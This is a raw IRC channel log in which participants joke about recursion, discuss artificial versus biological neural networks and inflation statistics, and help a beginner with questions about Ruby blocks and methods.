perhaps < 1395204015 142515 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol! so you guys work with recursion? < 1395204035 807 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :[joke] < 1395204052 112745 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :my friend has a shirt that just says "RECURSION" on the front in big block letters < 1395204057 978951 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :I'm curious, i've wanted to get into it, but i don't know much about data structures yet. < 1395204062 853319 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i literally can't even think of a joke any more that's how sick i am of recursion < 1395204063 474422 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol. < 1395204070 201018 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :recursion jokes rather < 1395204074 280525 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :... < 1395204086 18405 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :recursion itself is still cool < 1395204090 442500 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i heard you like recursion so we put recursion in your hugalagahlalhaghahghagalhahglhal < 1395204130 522800 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION fixes Bike < 1395204131 55044 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :it's all broad though. like whoa, put a thing in a thing?? i learned the concept early enough that it's hard for me to understand people not getting it, sadly < 1395204144 549990 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't even own a recursion < 1395204148 121873 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: but Y? < 1395204153 514301 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :that's all you recursion is? < 1395204173 66868 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i guess i'm talking about neural networks then? < 1395204176 844899 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :what < 1395204179 300291 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :these use recursion, yes? < 1395204188 442812 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION -> afk < 1395204188 497393 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :-you, sorry. < 1395204190 913034 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Sgeo: what about y < 1395204204 177177 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Bike: he fixed you < 1395204215 310413 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :BeingUntoDeath: recursiveness in neural networks usually means a network with cycles, which is pretty distinct from the usual CS concept, but related < 1395204229 687005 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :or maybe i'm thinking 'recurrent' god i feel so stupid right now < 1395204235 418534 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think BeingUntoDeath got the wrong idea about what recursion is < 1395204272 730594 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :okay, thank you bike. < 1395204272 835827 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :As though he tried to learn it from this conversation, I mean < 1395204277 353245 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :'recursive' has like thirty billion meanings anyway < 1395204281 696188 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol. < 1395204303 935350 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :BeingUntoDeath: recursive just means inductive < 1395204310 708967 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :nothing more to it < 1395204312 821448 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :oh, and if you're interested in neural networks. the artificial ones are /nothing like real ones at all/. maybe you already know that but jesus it's annoying when people don't < 1395204315 305581 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :;DDDDDDDDDDDDDDDDDD < 1395204332 243481 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :right, i know that. :) < 1395204343 766011 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :thank you oklopol < 1395204426 263362 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :it's like, you have a lemma, man, and then the lemma like... proves itself with a different n.... maaann........ < 1395204451 347909 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :ok i'm going to stop acting stupid now. sorry about that. just gonna be legit stupid now. < 1395204480 925013 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :BeingUntoDeath: inductive in the sense that you have that the first and second fibonacci numbers are 1 and 1 and fib(n) = fib(n-2) + fib(n-1) < 1395204534 214242 :ion!ion@heh.fi PRIVMSG #esoteric :No, the first and second Fibonacci numbers are −55 and 34. < 1395204550 773270 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.reddit.com/r/programming/comments/20qojw/jdk_8_is_released/ < 1395204565 257289 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :convenient that these things are just a shift away < 1395204582 848919 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395204684 555934 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :recursion of course usually implies that the objects we are talking about are computer objects (and not, say, real numbers; then again, most of the interesting well-ordered things readily turn into computer objects, except maybe the well-orders themselves) < 1395204779 122907 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Java 9 will have TCO????!?!?!? < 1395204780 100955 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::D < 1395204830 391168 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Bike: maybe it's okay for me to know because i don't know anything about either of the two; what sort of differences are there between neural networks and... neural networks? < 1395204840 256282 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :*for me not to know < 1395204931 532484 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :well, basically, when artificial neural networks (the computer ones) were getting off the ground, it was the forties, fifties. von neumann hisself wrote about them. as you might expect the biological research was, well, we've advanced a lot in seventy years. < 1395204956 476327 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"John Conway's Game of Life is some kind of Artificial Life simulation. It's written in Java." < 1395204964 688451 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :artificial neurons treat individual neurons as discrete input output functions, usually a convenient function (like a sigmoid curve) over a weighted sum of their inputs < 1395204966 181827 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I... what < 1395204975 587640 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Sgeo: :DSA < 1395204979 184182 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :computer people kind of ran with that for seventy years < 1395204981 510573 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Sgeo: lol < 1395205004 875464 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ok, I think the author of the page was trolling Google < 1395205006 756430 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :meanwhile biologists found out it didn't work pretty fast. huxley model from squid neurons is like, a fourth degree PDE or some shit, and that's for one neuron < 1395205015 145074 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.bitstorm.org/gameoflife/ < 1395205016 435285 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :also it's shitty < 1395205033 22136 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Seems competent enough. View source. < 1395205034 554506 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i see < 1395205035 766062 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :Sgeo: i do a double take every time i see an applet. < 1395205072 910044 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :basically, biological neurons are complex cell assemblies that work as modulated analog signal processors and require a lot of electrophysics to understand at all. artificial neurons are simpler because why would computer people care. < 1395205101 34651 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i mean obviously ANNs are probably useful for something. optimization i guess? beats me < 1395205143 327814 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :this gets you weird situations like a neuroscientist trying to assign parameters for an organism situation, and using global optimization techniques to do so. possibly you could use an ANN for this. would be funny < 1395205151 367457 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ugh, ended up trying to watch videos of the board game < 1395205157 84140 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There's some crappy "new" version < 1395205161 304816 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :game of life the board game? < 1395205182 180764 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hasbro's < 1395205199 469435 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :The thing with the cars? < 1395205204 773882 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :yes < 1395205230 827021 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :As far as I know, there are only two game of lifes < 1395205241 109514 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And one is not a board game, usually < 1395205241 215669 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Bike: to me it still sounds like in theory they might be deliberately studying a simplification of the model in order to get at least something out of it < 1395205269 399689 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :oklopol: you mean computer people? yeah, but what they're getting out of it just isn't going to be that biologically relevant. it's going to be more like advances in ML. < 1395205317 413636 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but what if they solve the whole model, then add some components etc and get closer and closer to biologically relevant? i mean i don't think that's what's going on, but i can imagine a world where that's the case :P < 1395205342 765922 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(i think it's very playsible that they just ran with it) < 1395205345 354333 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :*plausible < 1395205415 488308 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i don't think they're really trying... even if they were it's quite a trip from http://upload.wikimedia.org/math/0/2/a/02a0d787371e595719f83f8431ee898a.png to http://upload.wikimedia.org/math/5/e/c/5ec607907b2588dc038c1ef0168475dc.png < 1395205441 436862 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :quite an /interesting/ trip i imagine, though < 1395205460 900726 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :oo the first one is how gibbs measures are born < 1395205482 640076 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :cool. < 1395205496 580948 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :fuck yes, same gibbs. < 1395205551 736220 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :like, if x is some type of energy or something, you want to minimize energy and then as energy increases, that configuration gets exponentially less likely. thus you weigh each state by e^(-x) where x is the energy. or something. < 1395205563 736447 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :the latter one is the soliton model, which is kind of not mainstream but does have the advantage of explaining how general anesthetics work (we have no idea, which rules) < 1395205568 533110 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(the sum on the bottom is because you want them to sum to 1.) < 1395205609 54943 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :yeah i have no idea what the second one is :P < 1395205629 308368 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i don't know how it works at all woooooo < 1395205642 195226 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric ::P < 1395205695 98457 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :physics is hard. < 1395205735 930322 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i was contemplating going on a quantum physics course this spring < 1395205739 188980 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but i didn't :( < 1395205773 404374 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i flunked a kinematics course once, so imo doomed < 1395205803 888523 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :F = ma < 1395205820 700 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :but like, what if there's lots of ms, man < 1395205833 316421 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :if there's a lot of as you sum them < 1395205855 922428 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :thus by induction you also sum the ms < 1395205882 713731 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :damnn < 1395205997 849577 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :also i tried to take physics 1 a few years ago but i didn't have time for it :((((( < 1395206052 338020 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :switch majors. i gotta take courses in half the departments. (switching majors is totally a thing you can do as a whateveryouare) < 1395206090 181894 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :F = m * dv/dt = m * d^2t/dt^2. f*dt^2 = d^2 t boing boing boing < 1395206108 192375 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :the problem with switching majors to physics is all the momentum < 1395206118 996216 :password2!~password@197.78.142.207 JOIN :#esoteric < 1395206136 49245 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :just make a turing machine out of the 5-body problem and they'll clearly accept you < 1395206142 557232 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i have done all my courses so i'm not sure switching majors would be of much help < 1395206163 596807 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :actually the last 8 or so courses i've taken i didn't go to the exam because i didn't want to drop my average < 1395206168 951210 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :thats the best time to switch. that way you dont have to leave school! < 1395206184 842646 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :don't stop til lyyou got like forty master'ss < 1395206200 880742 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can't blame inflation for this feeling that $100 was a lot in 2006 but isn't very much now, can I? < 1395206219 485163 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :a friend of mine is working on something like 3 degrees atm < 1395206221 442445 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm so jelly < 1395206224 992201 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you can, depending on what you're buying. < 1395206236 224655 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you could have bought more than 2x as many bigmacs in 2006 with $100 < 1395206240 130232 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :wat do you even do with three degrees < 1395206256 456762 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i think he just wants to be an unemployed millionnaire < 1395206267 243821 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :*millionaire < 1395206270 159603 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :where's the millionaire bit come from < 1395206284 386561 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :sgeo: apparently 100 2006 dollars would be worth like $117 now. totes lotsa ca$h < 1395206289 235324 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :the application process for unemployed millionaire is really selective < 1395206300 975173 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :bike: now do energy and food inflation < 1395206307 114603 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :newsham: that's why you wanna have 3 degrees. < 1395206313 535843 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :who do i look like the dhs < 1395206322 102213 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :BLS? < 1395206341 246644 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :don't you say that about my mother < 1395206368 58475 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :oh, actually this thing i got the numbers from uses the CPI, so HA already incorporated them. < 1395206423 746830 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> 237 / 198 < 1395206423 959333 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :041.196969696969697 : 12Float < 1395206425 241337 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 1.196969696969697 < 1395206434 247454 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :thats food+beverages 2006-2012 < 1395206457 372570 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> 239 / 185 < 1395206457 621125 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :041.2918918918918918 : 12Float < 1395206458 861060 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 1.2918918918918918 < 1395206460 212155 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :thats energy < 1395206464 935930 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :http://www.bls.gov/cpi/cpid1401.pdf < 1395206470 752601 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :dude quit disputing the internet < 1395206485 219105 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :how has the apples to oranges cost ratio evolved during the last century? < 1395206511 798506 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :can you be more specific? pacific rose? gala? granny smith? < 1395206515 583141 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :are we including tangerines? < 1395206527 981078 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :we are _not_ including tangerines < 1395206543 171437 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :well here's a graph, featuring several line segments, as well as alphanumeric characters http://www.oceconomy.org/wibmeasures/n3-1.jpg < 1395206543 893764 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but otherwise, please integrate over apples with respect to the uniform distribution < 1395206545 522338 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Quit: Leaving < 1395206546 128423 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :hope this helps < 1395206569 73580 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :as you can see, the line segments look sort of like a hill, but with a little thingie on the right < 1395206589 493896 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :the great thing about BLS statistics is they think the food you bought in 2014 is just as good as the food you bought in 1950. < 1395206603 171319 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i'd like to point out that, as a bonus, several non-alphanumeric characters are included < 1395206650 789555 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :yes that is really fancy < 1395206653 134972 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :even though you used to get beef from disease free, grass feed beef and now you get animal byproducts that were soaked in amonia in an attempt to make unedible meats somewhat disease free < 1395206669 876565 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i should review a boring article now < 1395206683 429434 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :wouldnt you rather sit on a boring irc channel instead? < 1395206687 985985 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :yes < 1395206711 651712 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :if it's any consolation i have to read a boring article. < 1395206713 190542 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :hey... can i ask you guys really noob questions about programming? < 1395206718 237229 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :go for it < 1395206723 580681 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :usually other programming channels aren't privy to noob-ass questions. < 1395206730 298876 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :noob questions are fun < 1395206735 719453 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i'm programming in ruby. who knows ruby? < 1395206737 960386 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :depends on the channel (but yeah programmers are assholes, sorry about that) < 1395206747 992857 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric ::) :) < 1395206752 172395 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :btw the brainfuck article i reviewed was accepted, although only as a presentation, not in proceedings < 1395206763 507899 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i know /of/ ruby < 1395206771 462808 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :maybe i can guess the semantics enough to answer basic questions < 1395206778 671245 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :btw, on the topic of esoteric fun with computer programs, have you guys heard of this POC||GTFO publication? < 1395206787 534049 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :I don't know what that is. < 1395206796 427931 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :its an e-magazine, current issue is in pdf but can also be interpretted as some picture format and something else... < 1395206839 425083 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :is a line where i define a var considered a block? or can blocks just go inside of defined variables(objects?) as methods? < 1395206850 217642 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :its a zip file too < 1395206855 322567 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :in other words, i'm wondering what a block is. < 1395206867 532768 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :and a runnable image (ie. for qemu) < 1395206878 192452 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :http://www.reddit.com/r/netsec/comments/1tw2ht/poc_gtfo_issue_0x02pdf/ < 1395206880 268343 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :I think a block is more like a function? < 1395206899 572342 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :"Ruby blocks are syntax literals for Proc objects" ok yeah < 1395206920 849401 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :arent ruby blocks the body of lambda-expressions (non-pure)? < 1395206925 773295 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :because i converted my test-program the other day into objects and made it OO, but i now realize all the def/end's with do/end's in them could be blocks instead? < 1395206929 54064 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :<- not a ruby person, but thats the impression i had < 1395206940 382197 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :newsham: that's what i'm getting out of this < 1395206964 332856 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :............right. ... :) < 1395206986 836305 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :no idea what any of that means, thank you though. < 1395206993 843100 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i dont know if the line where you define a var is a block or not.. not a ruby person :( < 1395207033 908495 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i think to be a block you need the literal {}. < 1395207058 435087 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :but yeah, that question was 2ruby4me, sorry. < 1395207167 538595 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :beinguntodeath: guess we're the n00bs here :) < 1395207174 918319 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :i'm getting the idea from codeacademy that a "code" block is what goes in between do and end in a method? < 1395207182 425697 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :whether it's literal {} or not. < 1395207193 432595 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :being between {}'s means being literal? < 1395207255 834702 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The word 'block' may be a bit overloaded < 1395207267 110921 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :ah, yes, i think you can use do...end for procedures too < 1395207273 196698 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There's the Ruby usage, and there's the rest of the world usage of 'code block' which I can imagine slipping in < 1395207291 101524 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :procedure ?= method < 1395207292 18342 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :and what if we want to talk about rectangular prisms?? < 1395207305 219623 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :BeingUntoDeath: prooooooobably the same in a ruby context but don't quote me < 1395207332 968835 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :you know. some code you want to do several times. probably with parameters. and in ruby, attached to an object. < 1395207351 241764 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :is procedure synonymous with method in CS? < 1395207353 547454 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :well, i guess methods are procedures but not the other way around maybe. < 1395207365 329911 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :nothing is synonymous with anything in CS, stop listening to me before i corrupt you < 1395207372 194005 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :right. figured. < 1395207374 342241 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol. :D < 1395207377 497265 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :usually 'method' implies being attached to an object < 1395207381 573752 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :People use those words for all sorts of things, but I think commonly (I may be wrong) methods are attached to objects and procedures aren't < 1395207402 414597 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :okay. < 1395207416 647920 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :methods get an implicit reference to the object they were attached to. procedures are pretty similar but not every procedure comes with a ref to an object < 1395207579 693450 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :so when you "pass a block" to something... how do you refer to a particular block? that makes it sound like a variable. it's just nested in another method or comes in sequence in the code? < 1395207597 277349 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :probably you pass it as a variable and use some call syntax. < 1395207612 656445 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :like, in C, you can get passed a function pointer as a variable "foo", and then jus call it with foo() like usual. < 1395207625 115453 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :and what is the something to which blocks are passed? Objects? this whole "everything is an object" in ruby may be starting to make some things fuzzy for me, being a new coder. < 1395207632 751271 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :BUD: are you familiar with passing functions around to other functions? < 1395207650 771712 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :ruby's blocks are sort of like functions, they just dont come with names < 1395207655 568973 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :BeingUntoDeath: other procedures/methods (code) < 1395207659 220868 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :the functioned that is passed to is just named inside the other function? < 1395207679 152546 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :all the incoming function arguments are bound to names. < 